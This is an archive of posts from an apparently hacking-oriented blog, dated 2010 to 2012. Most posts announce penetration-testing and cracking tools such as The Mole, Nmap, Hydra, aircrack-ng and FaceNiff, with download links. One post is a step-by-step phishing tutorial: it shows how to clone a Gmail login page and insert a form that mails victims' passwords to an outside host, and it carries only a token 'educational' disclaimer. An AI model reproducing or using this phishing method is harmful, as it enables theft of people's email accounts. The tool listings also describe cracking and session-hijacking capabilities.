June 29, 2012
The Mole v0.3 – Automatic SQL Injection Exploitation Tool
Features
- Support for injections using Mysql, SQL Server, Postgres and Oracle databases.
- Command line interface. Different commands trigger different actions.
- Auto-completion for commands, command arguments and database, table and columns names.
- Support for filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily.
- Exploits SQL Injections through GET/POST/Cookie parameters.
- Developed in python 3.
- Exploits SQL Injections that return binary data.
- Powerful command interpreter to simplify its usage.
You can download The Mole v0.3 here:
Windows – themole-0.3-win32.zip
Linux – themole-0.3-lin-src.tar.gz
June 7, 2012
How to Check If Your LinkedIn Password Was Stolen
News first surfaced about the security breach after a Russian hacker said he stole 6,458,020 encrypted LinkedIn passwords and posted them online (without usernames) to prove his feat. The breach comes on the heels of news that LinkedIn’s iOS app potentially violates user privacy by sending detailed calendar entries to its servers.
LinkedIn confirmed that some passwords had become compromised and said it would contact affected users with details on how to change their password
Although usernames associated with the passwords were not released, the passwords themselves will surely be used to help reverse-engineer other cryptography systems. We also expect to see these passwords added to dictionary lists of programs that attempt to break into various accounts.
In other words — if you’re a LinkedIn user, no matter how strong your password seemed — it’s a good idea to go ahead and change it.
How This Works
If you’re a cynical web user when it comes to privacy and security — of course you are, right? — then you’re probably asking yourself whether or not a site where you type in your password to see if it’s been compromised could possibly be legit. But the folks at LastPass ensure that the tool is safe and does not store passwords.
Here’s how it works: After typing your LinkedIn password into LastPass’s tool, the service computes its SHA-1 hash and sends the result to LastPass.com. It then searches the list of 6.5 million leaked password hashes.
“All that’s communicated to LastPass is the hash ‚Äî the result of the one-way function performed on the password that a user enters in that box,” a LastPass spokesperson said. “So let’s say you enter ‘password1.’ You enter it and the tool performs the hashing algorithm. The hash is then sent to LastPass, and if a match is found in the database (of the 6.46 million leaked hashes) on our end, we report back a message saying that your password was compromised.”
The spokesperson also noted that the hashes are not stored on its servers: “We don’t store the hash on our end. We only perform the check and then delete it.”
Change Your Password
If your password is among the millions stolen, you should not only change it as soon as possible but also update other accounts you have that use the same password.
If you aren’t already using a password management tool — it’s time to start considering one. Tools such as LastPass and 1Password are invaluable in helping users create and manage unique, secure passwords.
Has your password been compromised? Let us know in the comments.
May 22, 2012
Nmap 6 Released For Download - Network Discovery & Security Auditing Tool
Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a "map" of the network. To accomplish its goal, Nmap sends specially crafted packets to the target host and then analyzes the responses. Unlike many simple port scanners that just send packets at some predefined constant rate, Nmap accounts for the network conditions (latency fluctuations, network congestion, the target interference with the scan) during the run. Also, owing to the large and active user community providing feedback and contributing to its features, Nmap has been able to extend its discovery capabilities beyond simply figuring out whether a host is up or down and which ports are open and closed; it can determine the operating system of the target, names and versions of the listening services, estimated uptime, type of device, and presence of a firewall.
Nmap runs on GNU/Linux, Microsoft Windows, Solaris, HP-UX and BSD variants (including Mac OS X), and also on AmigaOS and SGI IRIX. GNU/Linux is the most popular Nmap platform with Windows following it closely.
Major Improvements in v6.00
NSE Enhanced – The Nmap Scripting Engine (NSE) has exploded in popularity and capabilities. This modular system allows users to automate a wide variety of networking tasks, from querying network applications for configuration information to vulnerability detection and advanced host discovery. The script count has grown from 59 in Nmap 5 to 348 in Nmap 6, and all of them are documented and categorized in our NSE Documentation Portal. The underlying NSE infrastructure has improved dramatically as well.
Better Web Scanning – As the Internet has grown more web-centric, Nmap has developed web scanning capabilities to keep pace. When Nmap was first released in 1997, most of the network services offered by a server listened on individual TCP or UDP ports and could be found with a simple port scan. Now, applications are just as commonly accessed via URL path instead, all sharing a web server listening on a single port. Nmap now includes many techniques for enumerating those applications, as well as performing a wide variety of other HTTP tasks, from web site spidering to brute force authentication cracking. Technologies such as SSL encryption, HTTP pipelining, and caching mechanisms are well supported.
Full IPv6 Support – Given the exhaustion of available IPv4 addresses, the Internet community is trying to move to IPv6. Nmap has been a leader in the transition, offering basic IPv6 support since 2002. But basic support isn’t enough, so we spent many months ensuring that Nmap version 6 contains full support for IP version 6. And we released it just in time for the World IPv6 Launch. We’ve created a new IPv6 OS detection system, advanced host discovery, raw-packet IPv6 port scanning, and many NSE scripts for IPv6-related protocols. It’s easy to use too—just specify the -6 argument along with IPv6 target IP addresses or DNS records. In addition, all of our web sites are now accessible via IPv6. For example, Nmap.org can be found at 2600:3c01::f03c:91ff:fe96:967c.
New Nping Tool – The newest member of the Nmap suite of networking and security tools is Nping, an open source tool for network packet generation, response analysis and response time measurement. Nping can generate network packets for a wide range of protocols, allowing full control over protocol headers. While Nping can be used as a simple ping utility to detect active hosts, it can also be used as a raw packet generator for network stack stress testing, ARP poisoning, Denial of Service attacks, route tracing, etc. Nping’s novel echo mode lets users see how packets change in transit between the source and destination hosts. That’s a great way to understand firewall rules, detect packet corruption, and more.
Better Zenmap GUI results viewer – While Nmap started out as a command-line tool and many (possibly most) users still use it that way, we’ve also developed an enhanced GUI and results viewer named Zenmap. One addition since Nmap 5 is a “filter hosts” feature which allows you to see only the hosts which match your criteria (e.g. Linux boxes, hosts running Apache, etc.) We’ve also localized the GUI to support five languages besides English. A new script selection interface helps you find and execute Nmap NSE scripts. It even tells you what arguments each script supports.
Faster scans – In Nmap’s 15-year history, performance has always been a top priority. Whether scanning one target or a million, users want scans to run as fast as possible without sacrificing accuracy. Since Nmap 5 we’ve rewritten the traceroute system for higher performance and increased the allowed parallelism of the Nmap Scripting Engine and version detection subsystems. We also performed an intense memory audit which reduced peak consumption during our benchmark scan by 90%. We made many improvements to Zenmap data structures and algorithms as well so that it can now handle large enterprise scans with ease.
You can download Nmap v6.00 here:
Linux: nmap-6.00.tar.bz2
Windows: nmap-6.00-win32.zip
Or read more here.
March 1, 2012
MagicTree v1.1 – Penetration Testing Productivity Tool
Lets get it straight for those that don't or haven't had about it.
MagicTree is a penetration tester productivity tool. It is designed to allow easy and straightforward data consolidation, querying, external command execution and (yeah!) report generation. In case you wonder, "Tree" is because all the data is stored in a tree structure, and "Magic" is because it is designed to magically do the most cumbersome and boring part of penetration testing - data management and reporting.
Updates
- Rapid 7 NeXpose XML import (both simple XML and full XML formats are supported)
- Arachni XML import (as of 0.4.0.2. Thanks to Herman Stevens of Astyran for contribution)
- OWASP Zed Attack Proxy XML import (development snapshot as of 6-Feb-2012)
- New matrix query interface
- Bug fix (#224) Remove orphan projects does not work anymore
- Bug fix (#226) NPE in dumpData()
- Bug fix (#239) “Uncaught exception in Swing thread: null. null” when saving a custom query into the repo
- Bug fix (#241) Corrupted reference links in report templates
- Bug fix (#242) Updated report templates to honor “ignore” status
You can download MagicTree here
Or read the detailed documentation here.
February 23, 2012
xSQL Scanner: Security Audit Tool For MS-SQL & MySQL & Database Password Cracker
xSQL Scanner is a advanced SQL audit tool that allows users to find weak passwords and vulnerabilities on MS-SQL and MySQL database servers.
The objective of xSQLScanner is to assist the Security Analyst or Penetration Tester in auditing the security of MS-SQL and MySQL database servers.
Features
Test for weak password fast;
Test for wear/user passwords;
Wordlist option;
Userlist option;
Portscanner
Range IP Address audit and more.
Windows – xsqlscanner-1.2.zip
Linux – xsqlscan-mono.tgz
September 20, 2011
NetworkMiner, Network Forensic Analysis Tool for Windows
NetworkMiner collects data (such as forensic evidence) about hosts on the network rather than to collect data regarding the traffic on the network. The main user interface view is host centric (information grouped per host) rather than packet centric (information showed as a list of packets/frames).
NetworkMiner can extract files and certificates transferred over the network by parsing a PCAP file or by sniffing traffic directly from the network. This functionality can be used to extract and save media files (such as audio or video files) which are streamed across a network from websites such as YouTube. Supported protocols for file extraction are FTP, TFTP, HTTP and SMB.
NetworkMiner has, since the first release in 2007, become popular tool among incident response teams as well as law enforcement
The new version supports features such as:
- Extraction of Google Analytics data
- Better parsing of SMB data
- Support for PPP frames
- Even more stable than the 1.0 release
NetworkMiner_1-1.zip
September 9, 2011
Anonymous Releases Twitter Hijack Tool Called URGE
The Anonymous group of online activists released a new tool yesterday designed to allow people to hijack trending topics on Twitter and tweet messages within them.
Dubbed URGE (for Universal Rapid Gamma Emitter), the beta software is available for download for Windows computers and requires .Net Framework 4 to work.
"This is not a hacking tool nor is it an exploit tool," the group said in a statement. "It was created to make it easier for us to tweet faster without copying and pasting constantly."
Anonymous members say they are annoyed with all the redundant and "pop culture" topics featured on Twitter Trends and want to draw more attention to topics that "actually serve a cause."
"We have taken note of why Twitter would not do so, they only trend topics which would 'appeal' to people and can get people to tweet more," the statement says. "This was pathetic in our eyes, and we could not stand by and take it anymore."
URGE will allow people to spread the message of Anonymous--including "bashing corrupt politicians," among other causes--by riding the coattails of trending topics. "This will help raise awareness of problems going on in this world and show people that real problems exist outside of 'Jersey Shore' and 'Sex,'" according to the statement.
July 16, 2011
Mantra 0.6.1 Security Framework: A Browser Based Hacking Toolbox
It's a security framework that can be very helpful in performing all the five phases of attacks including reconnaissance, scanning and enumeration, gaining access, escalation of privileges, maintaining access, and covering tracks. Apart from that it also contains a set of tools targeted for web developers and code debuggers which makes it handy for both offensive security and defensive security related tasks.
Mantra is design to be lite, flexible, portable and user friendly with a nice graphical user interface. You can carry it in memory cards, flash drives, CD/DVDs, etc. It can be run natively on Linux, Windows and Mac platforms. It can also be installed on to your system within minutes. Mantra is absolutely free of cost and takes no time for you to set up.
You can download Mantra 0.6.1 here:
Windows – OWASP Mantra Security Toolkit – Gandiva.exe
Linux 32-bit – Mantra Security Toolkit – Gandiva.tar.bz2
Or read more here.
July 12, 2011
Vega: An Open Source Platform to Test the Security of Web Application
Vega is an open source platform to test the security of web applications. Vega can help you find and validate SQL Injections, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.
It includes an automated scanner for quick tests and an intercepting proxy for tactical inspection. Vega can be extended using a powerful API in the language of the web: Javascript.
Vega was developed by Subgraph in Montreal.
Core Features:
- Website Crawler
- Content Analysis
- Intercepting Proxy
- SSL MITM
- Automated Crawler and Vulnerability Scanner
- Consistent UI
- Extensibility through a Powerful Javascript Module API
- Customizable alerts
- Database and Shared Data Model
- Cross Site Scripting (XSS)
- SQL Injection
- Directory Traversal
- URL Injection
- Error Detection
- File Uploads
- Sensitive Data Discovery
Links for binary packages built for various platforms are listed below:
Mac OS X 32-bit Intel
Mac OS X 64-bit Intel
Linux GTK 32-bit Intel
Linux GTK 64-bit Intel
Microsoft Windows 32-bit Intel
Microsoft Windows 64-bit Intel
Read More About Vega
June 21, 2011
The Zed Attack Proxy - Penetration Testing Tool
The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
ZAP Features
- Brute Force scanner
- Passive scanner
- Intercepting Proxy
- Port scanner
- Automated scanner
- Spider
- Fuzzer
- Dynamic SSL certificates
- API
- Beanshell integration
Windows Installer – ZAP_1.3.0_Windows.exe
Linux Installer – ZAP_1.3.0_Linux.tar.gz
Mac OSX Installer – ZAP_1.3.0_Mac_OS_X.zip
Or read more here.
June 16, 2011
BackTrack 5 Linux – Penetration Testing Distribution
BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking. Regardless if you’re making BackTrack your primary operating system, booting from a LiveDVD, or using your favorite thumbdrive, BackTrack has been customized down to every package, kernel configuration, script and patch solely for the purpose of the penetration tester.
BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tool collection to-date.
Our community of users range from skilled penetration testers in the information security field, government entities, information technology, security enthusiasts, and individuals new to the security community. Feedback from all industries and skill levels allows us to truly develop a solution that is tailored towards everyone and far exceeds anything ever developed both commercially and freely available.
Whether you’re hacking wireless, exploiting servers, learning, performing a web application assessment, or social-engineering a client, BackTrack is the one-stop-shop for all of your security needs.
The evolution of BackTrack spans many years of development, penetration tests, and unprecedented help from the security community. BackTrack originally started with earlier versions of live Linux distributions called Whoppix, IWHAX, and Auditor. When BackTrack was developed, it was designed and developed by seasoned security professionals to perform penetration testing from one live CD and not leave remnants of the on the laptop itself. It has since expanded to being the most widely adopted penetration testing framework in existence and is used by the security community all over the world.
What's New in This Release:
- Kernel 2.6.35.8 – *Much* improved mac80211 stack.
- USB 3.0 support.
- New wireless cards supported.
- All wireless Injection patches applied, maximum support for wireless attacks.
- Even *faster* desktop environment.
- Revamped Fluxbox environment for the KDE challenged.
- Metasploit rebuilt from scratch, MySQL db_drivers working out of the box.
- Updated old packages, added new ones, and removed obsolete ones.
- New BackTrack Wiki with better documentation and support.
or read more
June 15, 2011
Skipfish 1.94b Released - Web Application Security Scanner
Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes. The resulting map is then annotated with the output from a number of active (but hopefully non-disruptive) security checks. The final report generated by the tool is meant to serve as a foundation for professional web application security assessments.
Why should I bother with this particular tool?
A number of commercial and open source tools with analogous functionality is readily available (e.g., Nikto, Websecurify, Netsparker, w3af, Arachni); stick to the one that suits you best. That said, skipfish tries to address some of the common problems associated with web security scanners. Specific advantages include:
High performance: 500+ requests per second against responsive Internet targets, 2000+ requests per second on LAN / MAN networks, and 7000+ requests against local instances have been observed, with a very modest CPU, network, and memory footprint. This can be attributed to:
- Multiplexing single-thread, fully asynchronous network I/O and data processing model that eliminates memory management, scheduling, and IPC inefficiencies present in some multi-threaded clients.
- Advanced HTTP/1.1 features such as range requests, content compression, and keep-alive connections, as well as forced response size limiting, to keep network-level overhead in check.
- Smart response caching and advanced server behavior heuristics are used to minimize unnecessary traffic.
- Performance-oriented, pure C implementation, including a custom HTTP stack.
- Heuristic recognition of obscure path- and query-based parameter handling schemes.
- Graceful handling of multi-framework sites where certain paths obey a completely different semantics, or are subject to different filtering rules.
- Automatic wordlist construction based on site content analysis.
- Probabilistic scanning features to allow periodic, time-bound assessments of arbitrarily complex sites.
Handcrafted dictionaries offer excellent coverage and permit thorough $keyword.$extension testing in a reasonable timeframe.
- Three-step differential probes are preferred to signature checks for detecting vulnerabilities.
- Ratproxy-style logic is used to spot subtle security problems: cross-site request forgery, cross-site script inclusion, mixed content, issues MIME- and charset mismatches, incorrect caching directives, etc.
- Bundled security checks are designed to handle tricky scenarios: stored XSS (path, parameters, headers), blind SQL or XML injection, or blind shell injection.
- Report post-processing drastically reduces the noise caused by any remaining false positives or server gimmicks by identifying repetitive patterns.
apt-get install libidn11
The minum syntax required to run the tool would be:
./skipfish -o /home/youruser -W dictionaries/standard.wl http://yoursite.com
That should be enough to get you started!
It’s a pretty powerful tool and likely to pick up issues that Nessus or Nikto might miss.
You can download Skipfish 1.94b here:
skipfish-1.94b.tgz
Or read more here.
June 11, 2011
Burp Suite Free Edition v1.4 – Web Application Security Testing Tool
Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.
Burp gives you full control, letting you combine advanced manual techniques with state-of-the-art automation, to make your work faster, more effective, and more fun.
And now, we’re happy to announce there’s a new version out and it’s available for download now!
New Features
- The ability to compare site maps
- Functions to help with testing access controls using your browser
- Support for preset request macros
- Session handling rules to help you work with difficult situations
- In-browser rendering of responses from all Burp tools
- Auto recognition and rendering of character sets
- Support for upstream SOCKS proxies
- Headless mode for unattended scripted usage
- Support for more types of redirection
- Support for NTLMv2 and IPv6
- Numerous enhancements to Burp’s extensibility
- Greater stability on OSX
burpsuite_v1.4.zip
Or read more here.
Angry IP Scanner 3.0 Beta 5
Scanning of computer networks (searching for addresses with known properties) is a practice that is often used by both network administrators and crackers. Although it is widely accepted that activity of the latter is often illegal, most of the time they depend on exactly the same tools that can be used for perfectly legitimate network administration – just like a kitchen knife that can be used maliciously.
Thanks to the recent activity of mass-media on the subject (that popularized the wrong term for a cracker – a 'hacker'), nowadays every educated person more or less understands the reasons and goals that stand behind malicious cracking: curiosity, stealing of information, making damage, showing self-importance to the world, etc. But why do administrators need to scan their own networks?
There are plenty of answers: to check status of computers and various network devices (are they up or down), find spare addresses in statically-addressed networks, monitor the usage of server-type or P2P applications, make inventory of available hardware and software, check for recently discovered holes in order to patch them, and much more things that are even difficult to foresee.
Angry IP Scanner is widely-used open-source and multi-platform network scanner. As a rule, almost all such programs are open-source, because they are developed with the collaboration of many people without having any commercial goals. Secure networks are possible only with the help of open-source systems and tools, possibly reviewed by thousands of independent experts and hackers alike.
Certainly, there are other network scanners in existence (especially single-host port scanners), however, most of them are not cross-platform, are too simple and do not offer the same level of extensibility and user-friendliness as Angry IP Scanner. The program's target audience are network administrators, consultants, developers, who all use the tool every day and therefore have advanced requirements for usability, configurability, and extensibility. However, Angry IP Scanner aims to be very friendly to novice users as well.
You can download Angry IP Scanner here:
Angry IP Scanner
Or read more here.
June 7, 2011
FaceNiff – Taking FireSheep Mobile – Sniff & Intercept Web Sessions With Android
FaceNiff is an Android app that allows you to sniff and intercept web session profiles over the WiFi that your mobile is connected to. It is possible to hijack sessions only when WiFi is not using EAP, but it should work over any private networks (Open/WEP/WPA-PSK/WPA2-PSK).
It’s kind of like Firesheep for android, but maybe a bit easier to use (and it works on WPA2!).
Do note that a rooted phone is required. Please note that if the web user uses SSL this application won’t work This application due to its nature is very phone-dependent so please let the author know if it doesn’t work for you.
There’s a great video demo of it working here:
FaceNiff – Taking FireSheep Mobile – Sniff & Intercept Web Sessions With Android
Want to Learn Penetration Testing
FaceNiff is an Android app that allows you to sniff and intercept web session profiles over the WiFi that your mobile is connected to. It is possible to hijack sessions only when WiFi is not using EAP, but it should work over any private networks (Open/WEP/WPA-PSK/WPA2-PSK).
It’s kind of like Firesheep for android, but maybe a bit easier to use (and it works on WPA2!).
Do note that a rooted phone is required. Please note that if the webuser uses SSL this application won’t work This application due to its nature is very phone-dependent so please let the author know if it doesn’t work for you.
There’s a great video demo of it working here:
Supported services:
- Youtube
- Amazon
- Nasza-Klasa
FaceNiff-1.9.4.apk
Or read more here.
May 26, 2011
SIPVicious Tool Suite v0.2.6 – SIP/VoIP Security Auditing Tool
It currently consists of five tools:
- svmap – this is a sip scanner. Lists SIP devices found on an IP range
- svwar – identifies active extensions on a PBX
- svcrack – an online password cracker for SIP PBX
- svreport – manages sessions and exports reports to various formats
- svcrash – attempts to stop unauthorized svwar and svcrack scans
Python – SIPVicious works on any system that supports python 2.4 or greater.
There’s a good blog post covering the new stuff here too, mainly svcrash:
How to crash SIPVicious – introducing svcrash.py
You can download SIPVicious v0.2.6 here:
sipvicious-0.2.6.zip
Or read more here.
May 2, 2011
THC-Hydra - A very fast network logon cracker
A very fast network logon cracker which support many different services. Have a look at the feature sets and services coverage page - including a speed comparison against ncrack and medusa!
Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.
Version 6.x was tested to compile cleanly on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX.
Currently this tool supports:
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA (incorporated in telnet module).
For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest are supported.
This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.
Disclaimer
- This tool is for legal purposes only!
- The GPLv3 applies to this code.
- A special license expansion for OpenSSL is included which is required for the debian people
1. The source code of state-of-the-art Hydra: hydra-6.3-src.tar.gz
(compiles on all UNIX based platforms - even MacOS X, Cygwin on Windows, ARM-Linux, etc.)
2. The source code of the stable tree of Hydra in case v6 gives you problems on unusual platforms:
hydra-5.9.1-src.tar.gz
3. The Win32/Cywin binary release: --- not anymore ---
Install cygwin from http://www.cygwin.com
and compile it yourself. If you do not have cygwin installed - how
do you think you will do proper securiy testing?
4. ARM and Palm binaries here are old and not longer maintained:
ARM: hydra-5.0-arm.tar.gz
Palm: hydra-4.6-palm.zip
More info is available here:
THC-Hydra
Comments and suggestions are welcome.
April 21, 2011
Hacking Tricks » How To Create A Fake Email Login Page
Fake Login Pages are one of the BEST method to Hack an Email account.Now it’s easy to build a Fake Login Pages without any knowledge of Programming Languages.
One can use http://www.jotform.com to build the Sign Up page.
Rest of the things required to build a Fake Login Page are easy to learn.Example of a Fake Login Page is displayed below.
Don’t forget to spice up your fake login page with css to express the delusion.
If you want to host your page on a free server, then below is the link to Free Hosting Providers.
http://www.webs.com or http://www.zymic.com
How to : Make Fake Login Page in 5 mins
Do step by step
- Open any page for which you wanna make fake. (For example: Gmail.com)
- Save page . In the saving option it asks for save as type select complete webpage.(Ctrl + s)
- Now where u have save the page it will be showing u that page and a dir wid images on the page.
- Now Rite Click on the Page and click edit.
- Search <Form in the page.
- Now Delete That Form Value , Method ,Action whatever its written delete that line.(For Gmail: <FORM id=”gaia_loginform” action=”https://www.google.com/accounts/ServiceLoginAuth” method=”post” onSubmit=”return(gaia_onLoginSubmit());”>)
- Now add this line
<form action="http://www.big-llc.com/formmailer/submit" method="post"><input type="hidden" value="Your Email Id" name="fm-to"><font color="#333333"> </font><input type="hidden" value="blog.icyse.com_password_for educational purposes only" name="fm-title"><font color="#333333"> </font><input type="hidden" value="Link You Want To redirect" name="fm-redirect"><font color="#333333"> </font>
- Save and close the editor.
- Upload the Directory wid images and this Page on free hosting site.
- Its Done Simply made in just 5 mins
Now you can receive the id/password on your email.
Disclaimer
All the information provided on ProHackingTricks are for educational purposes only. The site is no way responsible for any misuse of the information. ProHackingTricks is a site related to Computer Security and not a site that promotes hacking/cracking/software piracy.All the information on this site are meant for developing Hacker Defense attitude among the users and help preventing the hack attacks.ProHackingTricks insists that these information shall not be used for causing any kind of damage directly or indirectly.The site is totally meant for educational purposes only and the author of ProHackingTricks is not liable of any illegal act performed by any user.
April 11, 2011
Password Cracking with Rainbowcrack and Rainbow Tables
RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique.
In 1980 Martin Hellman described a cryptanalytic time-memory trade-off which reduces the time of cryptanalysis by using precalculated data stored in memory. This technique was improved by Rivest before 1982 with the introduction of distinguished points which drastically reduces the number of memory lookups during cryptanalysis. This improved technique has been studied extensively but no new optimisations have been published ever since.You can find the official Rainbowcrack project here, where you can download the latest version of Rainbowcrack.
In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called “rainbow table”.
Basically these types of password crackers are working with pre-calculated hashes of ALL passwords available within a certain character space, be that a-z or a-zA-z or a-zA-Z0-9 etc.
These files are called Rainbow Tables.
You are trading speed for memory and disk space, the Rainbow Tables can be VERY large.
Be warned though, Rainbow tables can be defeated by salted hashes, if the hashes are not salted however and you have the correct table, a complex password can be cracked in a few minutes rather than a few weeks or months with traditional brute forcing techniques.
So where do I get these Rainbow Tables?
You can generate them yourself with RainbowCrack, this will take a long time, and a lot of diskspace.
Project Shmoo is offering downloads of popular Rainbow Tables via BitTorrent.
http://rainbowtables.shmoo.com/
If you wanted to, you could even buy the tables from http://www.rainbowtables.net/.
Or these guys, not free but cheap http://www.rainbowcrack-online.com/
Some free tables here http://wired.s6n.com/files/jathias/index.html
What software is available for use with Rainbow Tables?
There is of course the original RainbowCrack as mentioned above.
Then there is:
Ophcrack
Ophcrack is a Windows password cracker based on a time-memory trade-off using rainbow tables. This is a new variant of Hellman’s original trade-off, with better performance.
Cain and Abel (newly added support for Rainbow Tables)
Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.
Cain and Abel is personally my favourite fully featured password whacking tool, it also has a good packet sniffer, which grabs and decodes passwords and many methods for password cracking. The interface is decent too. I’ll write more on how to get the most out of Cain later.
L0phtcrack or LC5
LC5 is the latest version of L0phtCrack, the award-winning password auditing and recovery application used by thousands of companies worldwide.
Please note this is a COMMERCIAL product.
LCP
Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003Thankfully there is a freeware alternative to LC5 in the form of LCP.
Other Resources
http://www.rainbowcrack.com/
http://sarcaprj.wayreth.eu.org/
http://passcracking.com/
http://www.md5lookup.com/
http://www.plain-text.info/
http://ap0x.headcoders.net/xHashBrutter.rar
http://www.loginrecovery.com/
June 11, 2010
aircrack-ng – WEP and WPA-PSK Key Cracking Program
aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, thus making the attack much faster compared to other WEP cracking tools. In fact, aircrack is a set of tools for auditing wireless networks.
Aircrack-ng is the next generation of aircrack with lots of new features:
- Better documentation (wiki, manpages) and support (Forum, trac, IRC: #aircrack-ng on Freenode).
- More cards/drivers supported
- New WEP attack: PTW
- More OS and platforms supported
- Fragmentation attack
- Improved cracking speed
- WEP dictionary attack
- Capture with multiple cards
- New tools: airtun-ng, packetforge-ng (improved arpforge), wesside-ng and airserv-ng
- Optimizations, other improvements and bug fixing
Linux – aircrack-ng-0.9.1.tar.gz
Windows – aircrack-ng-0.9.1-win.zip
Or you can read more here.
Remember you need this to use aircrack-ptw – the fast WEP cracking tool.